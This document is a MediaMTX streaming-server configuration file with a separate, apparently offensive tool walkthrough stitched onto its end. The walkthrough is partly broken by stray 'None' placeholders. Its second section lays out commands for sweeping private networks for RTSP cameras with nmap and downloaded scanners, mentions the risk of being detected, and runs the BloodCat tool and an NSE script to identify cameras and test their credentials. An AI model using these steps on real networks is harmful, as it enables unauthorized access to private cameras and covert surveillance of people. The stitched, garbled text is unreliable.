# The final segment duration is also influenced by the interval between IDR frames,
# since the server changes the duration in order to include at least one IDR frame
# in each segment.
hlsSegmentDuration: 1s
# Minimum duration of each part.
# A player usually puts 3 parts in a buffer before reproducing the stream.
# Parts are used in Low-Latency HLS in place of segments.
# Part duration is influenced by the distance between video/audio samples
# and is adjusted in order to produce segments with a similar duration.
hlsPartDuration: 200ms
# Maximum size of each segment.
# This prevents RAM exhaustion.
hlsSegmentMaxSize: 50M
# Directory in which to save segments, instead of keeping them in the RAM.
# This decreases performance, since reading from disk is less performant than
# reading from RAM, but allows to save RAM.
hlsDirectory: ''
# The muxer will be closed when there are no
# reader requests and this amount of time has passed.
hlsMuxerCloseAfter: 60s

###############################################
# Global settings -> WebRTC server

# Enable publishing and reading streams with the WebRTC protocol.
webrtc: true
# Address of the WebRTC HTTP listener.
webrtcAddress: :8889
# Enable HTTPS on the WebRTC server.
# This covers only the WebRTC handshake and does not influence the encryption of WebRTC streams
# which are always encrypted, with a key that is exchanged during the WebRTC handshake.
webrtcEncryption: false
# Path to the server key.
# This can be generated with:
# openssl genrsa -out server.key 2048
# openssl req -new -x509 -sha256 -key server.key -out server.crt -days 3650
webrtcServerKey: server.key
# Path to the server certificate.
webrtcServerCert: server.crt
# Allowed CORS origins.
# Supports wildcards: ['http://*.example.com']
webrtcAllowOrigins: ['*']
# IPs or CIDRs of proxies placed before the WebRTC server.
# If the server receives a request from one of these entries, IP in logs
# will be taken from the X-Forwarded-For header.
webrtcTrustedProxies: []
# Address of a local UDP listener that will receive connections.
# Use a blank string to disable.
webrtcLocalUDPAddress: :8189
# Address of a local TCP listener that will receive connections.
# This is disabled by default since TCP is less efficient than UDP and
# introduces a progressive delay when network is congested.
webrtcLocalTCPAddress: ''
# WebRTC clients need to know the IP of the server.
# Gather IPs from interfaces and send them to clients.
webrtcIPsFromInterfaces: true
# Interfaces whose IPs will be sent to clients.
# An empty value means to use all available interfaces.
webrtcIPsFromInterfacesList: []
# Additional hosts or IPs to send to clients.
webrtcAdditionalHosts: []
# ICE servers. Needed only when local listeners can't be reached by clients.
# STUN servers allows to obtain and share the public IP of the server.
# TURN/TURNS servers forces all traffic through them.
webrtcICEServers2: []
  # - url: stun:stun.l.google.com:19302
  # if user is "AUTH_SECRET", then authentication is secret based.
  # the secret must be inserted into the password field.
  # username: ''
  # password: ''
  # clientOnly: false
# Maximum time to gather STUN candidates.
webrtcSTUNGatherTimeout: 5s
# Time to wait for the WebRTC handshake to complete.
webrtcHandshakeTimeout: 10s
# Maximum time to gather tracks.
webrtcTrackGatherTimeout: 2s

###############################################
# Global settings -> SRT server

# Enable publishing and reading streams with the SRT protocol.
srt: true
# Address of the SRT listener.
srtAddress: :8890

###############################################
# Default path settings

# Settings in "pathDefaults" are applied anywhere,
# unless they are overridden in "paths".
pathDefaults:

  ###############################################
  # Default path settings -> General

  # Source of the stream. This can be:
  # * publisher -> the stream is provided by a RTSP, RTMP, WebRTC or SRT client
  # * rtsp://existing-url -> the stream is pulled from another RTSP server / camera
  # * rtsps://existing-url -> the stream is pulled from another RTSP server / camera with RTSPS
  # * rtsp+http://existing-url -> the stream is pulled from another RTSP server / camera, with HTTP tunneling
  # * rtsps+http://existing-url -> the stream is pulled from another RTSP server / camera, with HTTPS tunneling
  # * rtsp+ws://existing-url -> the stream is pulled from another RTSP server / camera, with WebSocket tunneling
  # * rtsps+ws://existing-url -> the stream is pulled from another RTSP server / camera, with secure WebSocket tunneling
  # * rtmp://existing-url -> the stream is pulled from another RTMP server / camera
  # * rtmps://existing-url -> the stream is pulled from another RTMP server / camera with RTMPS
  # * http://existing-url/stream.m3u8 -> the stream is pulled from another HLS server / camera
  # * https://existing-url/stream.m3u8 -> the stream is pulled from another HLS server / camera with HTTPS
  # * udp+mpegts://ip:port -> the stream is pulled from MPEG-TS over UDP, by listening on the specified address
  # * unix+mpegts://socket -> the stream is pulled from MPEG-TS over Unix socket, by using the socket
  # * udp+rtp://ip:port -> the stream is pulled from RTP over UDP, by listening on the specified address
  # * srt://existing-url -> the stream is pulled from another SRT server / camera
  # * whep://existing-url -> the stream is pulled from another WebRTC server / camera with HTTP+WHEP
  # * wheps://existing-url -> the stream is pulled from another WebRTC server / camera with HTTPS+WHEP
  # * redirect -> the stream is provided by another path or server
  # * rpiCamera -> the stream is provided by a Raspberry Pi Camera
  # The following variables can be used in the source string:
  # * $MTX_QUERY: query parameters (passed by first reader)
  # * $G1, $G2, ...: regular expression groups, if path name is
  #   a regular expression.
  source: publisher
  # If the source is a URL, and the source TLS certificate is self-signed
  # or invalid, you can provide the fingerprint of the certificate in order to
  # validate it anyway. It can be obtained by running:
  # openssl s_client -connect source_ip:source_port </dev/null 2>/dev/null | sed -n '/BEGIN/,/END/p' > server.crt
  # openssl x509 -in server.crt -noout -fingerprint -sha256 | cut -d "=" -f2 | tr -d ':'
  sourceFingerprint:
  # If the source is a URL, it will be pulled only when at least
  # one reader is connected, saving bandwidth.
  sourceOnDemand: false
  # If sourceOnDemand is "yes", readers will be put on hold until the source is
  # ready or until this amount of time has passed.
  sourceOnDemandStartTimeout: 10s
  # If sourceOnDemand is "yes", the source will be closed when there are no
  # readers connected and this amount of time has passed.
  sourceOnDemandCloseAfter: 10s
  # Maximum number of readers. Zero means no limit.
  maxReaders: 0
  # SRT encryption passphrase required to read from this path.
  srtReadPassphrase:
  # Use absolute timestamp of frames, instead of replacing them with the current time.
  useAbsoluteTimestamp: false

  ###############################################
  # Default path settings -> Always available

  # Enable always-available mode, in which a offline segment is played on repeat when the stream is not available.
  alwaysAvailable: false
  # Tracks of the default offline segment.
  alwaysAvailableTracks: []
    # Available values are: AV1, VP9, H265, H264, Opus, MPEG4Audio, G711, LPCM
    # - codec: H264
    #   # in case of MPEG4Audio, G711, LPCM, sampleRate and ChannelCount must be provided too.
    #   sampleRate: 48000
    #   channelCount: 2
    #   # in case of G711, muLaw must be provided too.
    #   muLaw: false
  # A MP4 file can be used instead of the default offline segment.
  alwaysAvailableFile: ''

  ###############################################
  # Default path settings -> Record

  # Record streams to disk.
  record: false
  # Path of recording segments.
  # Extension is added automatically.
  # Available variables are %path (path name), %Y %m %d (year, month, day),
  # %H %M %S (hours, minutes, seconds), %f (microseconds), %z (time zone), %s (unix epoch).
  recordPath: ./recordings/%path/%Y-%m-%d_%H-%M-%S-%f
  # Format of recorded segments.
  # Available formats are "fmp4" (fragmented MP4) and "mpegts" (MPEG-TS).
  recordFormat: fmp4
  # fMP4 segments are concatenation of small MP4 files (parts), each with this duration.
  # MPEG-TS segments are concatenation of 188-bytes packets, flushed to disk with this period.
  # When a system failure occurs, the last part gets lost.
  # Therefore, the part duration is equal to the RPO (recovery point objective).
  recordPartDuration: 1s
  # This prevents RAM exhaustion.
  recordMaxPartSize: 50M
  # Minimum duration of each segment.
  recordSegmentDuration: 1h
  # Delete segments after this timespan.
  # Set to 0s to disable automatic deletion.
  recordDeleteAfter: 1d

  ###############################################
  # Default path settings -> Publisher source (when source is "publisher")

  # Allow another client to disconnect the current publisher and publish in its place.
  overridePublisher: true
  # SRT encryption passphrase required to publish to this path.
  srtPublishPassphrase:

  ###############################################
  # Default path settings -> RTSP source (when source is a RTSP or a RTSPS URL)

  # Transport protocol used to pull the stream. available values are "automatic", "udp", "multicast", "tcp".
  rtspTransport: automatic
  # Support sources that don't provide server ports or use random server ports. This is a security issue
  # and must be used only when interacting with sources that require it.
  rtspAnyPort: false
  # Range header to send to the source, in order to start streaming from the specified offset.
  # available values:
  # * clock: Absolute time
  # * npt: Normal Play Time
  # * smpte: SMPTE timestamps relative to the start of the recording
  rtspRangeType:
  # Available values:
  # * clock: UTC ISO 8601 combined date and time string, e.g. 20230812T120000Z
  # * npt: duration such as "300ms", "1.5m" or "2h45m", valid time units are "ns", "us" (or "µs"), "ms", "s", "m", "h"
  # * smpte: duration such as "300ms", "1.5m" or "2h45m", valid time units are "ns", "us" (or "µs"), "ms", "s", "m", "h"
  rtspRangeStart:
  # Range of ports used as source port in outgoing UDP packets.
  rtspUDPSourcePortRange: [10000, 65535]

  ###############################################
  # Default path settings -> RTP source (when source is RTP)

  # session description protocol (SDP) of the RTP stream.
  rtpSDP:

  ###############################################
  # Default path settings -> WebRTC / WHEP source (when source is WHEP)

  # Token to insert in the Authorization: Bearer header.
  whepBearerToken: ''
  # Maximum time to gather STUN candidates.
  whepSTUNGatherTimeout: 5s
  # Time to wait for the WebRTC handshake to complete.
  whepHandshakeTimeout: 10s
  # Maximum time to gather tracks.
  whepTrackGatherTimeout: 2s

  ###############################################
  # Default path settings -> Redirect source (when source is "redirect")

  # path which clients will be redirected to.
  # It can be can be a relative path (i.e. /otherstream) or an absolute RTSP URL.
  sourceRedirect:

  ###############################################
  # Default path settings -> Raspberry Pi Camera source (when source is "rpiCamera")

  # ID of the camera.
  rpiCameraCamID: 0
  # Whether this is a secondary stream.
  rpiCameraSecondary: false
  # Width of frames.
  rpiCameraWidth: 1920
  # Height of frames.
  rpiCameraHeight: 1080
  # Flip horizontally.
  rpiCameraHFlip: false
  # Flip vertically.
  rpiCameraVFlip: false
  # Brightness [-1, 1].
  rpiCameraBrightness: 0
  # Contrast [0, 16].
  rpiCameraContrast: 1
  # Saturation [0, 16].
  rpiCameraSaturation: 1
  # Sharpness [0, 16].
  rpiCameraSharpness: 1
  # Exposure mode.
  # values: normal, short, long, custom.
  rpiCameraExposure: normal
  # Auto-white-balance mode.
  # (auto, incandescent, tungsten, fluorescent, indoor, daylight, cloudy or custom).
  rpiCameraAWB: auto
  # Auto-white-balance fixed gains. This can be used in place of rpiCameraAWB.
  # format: [red,blue].
  rpiCameraAWBGains: [0, 0]
  # Denoise operating mode (off, cdn_off, cdn_fast, cdn_hq).
  rpiCameraDenoise: "off"
  # Fixed shutter speed, in microseconds.
  rpiCameraShutter: 0
  # Metering mode of the AEC/AGC algorithm (centre, spot, matrix or custom).
  rpiCameraMetering: centre
  # Fixed gain.
  rpiCameraGain: 0
  # EV compensation of the image in range [-10, 10].
  rpiCameraEV: 0
  # Region of interest, in format x,y,width,height (all normalized between 0 and 1).
  rpiCameraROI:
  # Whether to enable HDR on Raspberry Camera 3.
  rpiCameraHDR: false
  # Tuning file.
  rpiCameraTuningFile:
  # Sensor mode, in format [width]:[height]:[bit-depth]:[packing]
  # bit-depth and packing are optional.
  rpiCameraMode:
  # frames per second.
  rpiCameraFPS: 30
  # Autofocus mode (auto, manual or continuous).
  rpiCameraAfMode: continuous
  # Autofocus range (normal, macro or full).
  rpiCameraAfRange: normal
  # Autofocus speed (normal or fast).
  rpiCameraAfSpeed: normal
  # Lens position (for manual autofocus only), will be set to focus to a specific distance
  # calculated by the following formula: d = 1 / value
  # Examples: 0 moves the lens to infinity.
  #           0.5 moves the lens to focus on objects 2m away.
  #           2 moves the lens to focus on objects 50cm away.
  rpiCameraLensPosition: 0.0
  # Autofocus window, in the form x,y,width,height where the coordinates
  # are given as a proportion of the entire image.
  rpiCameraAfWindow:
  # Manual flicker correction period, in microseconds.
  rpiCameraFlickerPeriod: 0
  # Enables printing text on each frame.
  rpiCameraTextOverlayEnable: false
  # Text that is printed on each frame.
  # format is the one of the strftime() function.
  rpiCameraTextOverlay: '%Y-%m-%d %H:%M:%S - MediaMTX'
  # Codec (auto, hardwareH264, softwareH264 or mjpeg).
  # When is "auto" and stream is primary, it defaults to hardwareH264 (if available) or softwareH264.
  # When is "auto" and stream is secondary, it defaults to mjpeg.
  rpiCameraCodec: auto
  # Period between IDR frames (when codec is hardwareH264 or softwareH264).
  rpiCameraIDRPeriod: 60
  # Bitrate (when codec is hardwareH264 or softwareH264).
  rpiCameraBitrate: 5000000
  # Hardware H264 profile (baseline, main or high) (when codec is hardwareH264).
  rpiCameraHardwareH264Profile: main
  # Hardware H264 level (4.0, 4.1 or 4.2) (when codec is hardwareH264).
  rpiCameraHardwareH264Level: '4.1'
  # Software H264 profile (baseline, main or high) (when codec is softwareH264).
  rpiCameraSoftwareH264Profile: baseline
  # Software H264 level (4.0, 4.1 or 4.2) (when codec is softwareH264).
  rpiCameraSoftwareH264Level: '4.1'
  # M-JPEG JPEG quality (when codec is mjpeg).
  rpiCameraMJPEGQuality: 60

  ###############################################
  # Default path settings -> Hooks

  # Command to run when this path is initialized.
  # This can be used to publish a stream when the server is launched.
  # This is terminated with SIGINT when the program closes.
  # The following environment variables are available:
  # * MTX_PATH: path name
  # * RTSP_PORT: RTSP server port
  # * G1, G2, ...: regular expression groups, if path name is
  #   a regular expression.
  runOnInit:
  # Restart the command if it exits.
  runOnInitRestart: false

  # Command to run when this path is requested by a reader
  # and no one is publishing to this path yet.
  # This can be used to publish a stream on demand.
  # This is terminated with SIGINT when there are no readers anymore.
  # The following environment variables are available:
  # * MTX_PATH: path name
  # * MTX_QUERY: query parameters (passed by first reader)
  # * RTSP_PORT: RTSP server port
  # * G1, G2, ...: regular expression groups, if path name is
  #   a regular expression.
  runOnDemand:
  # Restart the command if it exits.
  runOnDemandRestart: false
  # Readers will be put on hold until the runOnDemand command starts publishing
  # or until this amount of time has passed.
  runOnDemandStartTimeout: 10s
  # The command will be closed when there are no
  # readers connected and this amount of time has passed.
  runOnDemandCloseAfter: 10s
  # Command to run when there are no readers anymore.
  # Environment variables are the same of runOnDemand.
  runOnUnDemand:

  # Command to run when the stream is ready to be read, whenever it is
  # published by a client or pulled from a server / camera.
  # This is terminated with SIGINT when the stream is not ready anymore.
  # The following environment variables are available:
  # * MTX_PATH: path name
  # * MTX_QUERY: query parameters (passed by publisher)
  # * MTX_SOURCE_TYPE: source type
  # * MTX_SOURCE_ID: source ID
  # * RTSP_PORT: RTSP server port
  # * G1, G2, ...: regular expression groups, if path name is
  #   a regular expression.
  runOnReady:
  # Restart the command if it exits.
  runOnReadyRestart: false
  # Command to run when the stream is not available anymore.
  # Environment variables are the same of runOnReady.
  runOnNotReady:

  # Command to run when a client starts reading.
  # This is terminated with SIGINT when a client stops reading.
  # The following environment variables are available:
  # * MTX_PATH: path name
  # * MTX_QUERY: query parameters (passed by reader)
  # * MTX_READER_TYPE: reader type
  # * MTX_READER_ID: reader ID
  # * RTSP_PORT: RTSP server port
  # * G1, G2, ...: regular expression groups, if path name is
  #   a regular expression.
  runOnRead:
  # Restart the command if it exits.
  runOnReadRestart: false
  # Command to run when a client stops reading.
  # Environment variables are the same of runOnRead.
  runOnUnread:

  # Command to run when a recording segment is created.
  # The following environment variables are available:
  # * MTX_PATH: path name
  # * MTX_SEGMENT_PATH: segment file path
  # * RTSP_PORT: RTSP server port
  # * G1, G2, ...: regular expression groups, if path name is
  #   a regular expression.
  runOnRecordSegmentCreate:

  # Command to run when a recording segment is complete.
  # The following environment variables are available:
  # * MTX_PATH: path name
  # * MTX_SEGMENT_PATH: segment file path
  # * MTX_SEGMENT_DURATION: segment duration
  # * RTSP_PORT: RTSP server port
  # * G1, G2, ...: regular expression groups, if path name is
  #   a regular expression.
  runOnRecordSegmentComplete:

###############################################
# Path settings

# Settings in "paths" are applied to specific paths, and the map key
# is the name of the path.
# Any setting in "pathDefaults" can be overridden here.
# It's possible to use regular expressions by using a tilde as prefix,
# for example "~^(test1|test2)$" will match both "test1" and "test2",
# for example "~^prefix" will match all paths that start with "prefix".
paths:
  "live":
    source: publisher
(Server)$ tar -zxvf xxxx.tar.gz
(Server)$ chmod +x mediamtx
(Server)$ cp payload.yml mediamtx.yml
(Server)$ ./mediamtx
None

Start the streaming machine

(Live)$ sudo apt install ffmpeg -y
(Live)$ ffmpeg -f x11grab -s 1920x1080 -i :0.0 -f pulse -i default -c:v libx264 -preset veryfast -b:v 3000k -c:a aac -b:a 128k -f rtsp rtsp://<Server>:8554/live

Save to a local .bc file

(Live)$ python bloodcat.py --ip "<Server>:8554"
None 
(Server)$ python3 -m http.server 8213

Audience operations

(audience)$ python bloodcat_map.py

Enter the remote address:

None

Click play to see the Ubuntu desktop stream:

None

0002 : How to Scan and Test Private Network IP Camera Security

Network Discovery with n1ght0wl

https://github.com/MartinxMax/n1ght0wl/releases/download/1.0/n1ght0wl-linux-amd64 [Banned]

sudo ./n1ght0wl-linux-amd64

Recommendation:

Start with 192.168.x.x range (most common LAN segment) Then move to 172.16.x.x Finally 10.x.x.x (large enterprise networks)

Fast Mode: — fast doubles scan speed Trade-off: higher detection risk (more noisy traffic)

None

Live Host Discovery

Option A: Using r4ven

https://github.com/MartinxMax/n1ght0wl/releases/download/1.0/r4ven-linux-amd64 [Banned]

$ sudo ./r4ven-linux-amd64
R4ven > load C-192/20251220.nps
R4ven > scan c9f0764370bfdea8f397ea02ec662348 554
None

Option B: Manual (Nmap)

$ sudo nmap -sn -PE -iL C-192/20260322.nps -oG - | grep "Up$" | awk '{print $2}' > ./C-192.txt
$ sudo nmap -sn -PE -iL B-172/20260322.nps -oG - | grep "Up$" | awk '{print $2}' > ./B-172.txt
$ sudo nmap -sn -PE -iL A-10/20260322.nps -oG - | grep "Up$" | awk '{print $2}' > ./A-10.txt

Scan for RTSP Ports

$ nmap -p 554 -iL ./B-172.txt -oG - | awk '/554\/open/{print $2}' > ./B-172-554.txt
$ nmap -p 554 -iL ./A-10.txt -oG - | awk '/554\/open/{print $2}' > ./A-10-554.txt
$ nmap -p 554 -iL ./C-192.txt -oG - | awk '/554\/open/{print $2}' > ./C-192-554.txt
None

Camera Identification & Credential Testing with BloodCat

https://github.com/MartinxMax/BloodCat [Banned]

Run Nmap with NSE:

$ wget https://raw.githubusercontent.com/MartinxMax/BloodCat/refs/heads/main/TOP1000_RTSP_Port.txt
$ wget https://raw.githubusercontent.com/MartinxMax/BloodCat/refs/heads/main/bloodcat.nse
$ ips=./B-172-554.txt; nmap -Pn -p "$(cat ./TOP1000_RTSP_Port.txt | grep -oE '[0-9]+' | sort -n | uniq | paste -sd,)" --script ./bloodcat.nse -iL $ips
None None 
(bloodcat)$ python3 bloodcat.py --ips ./B-172-554.txt
None 
(bloodcat)$ python3 bloodcat_map_lan.py
None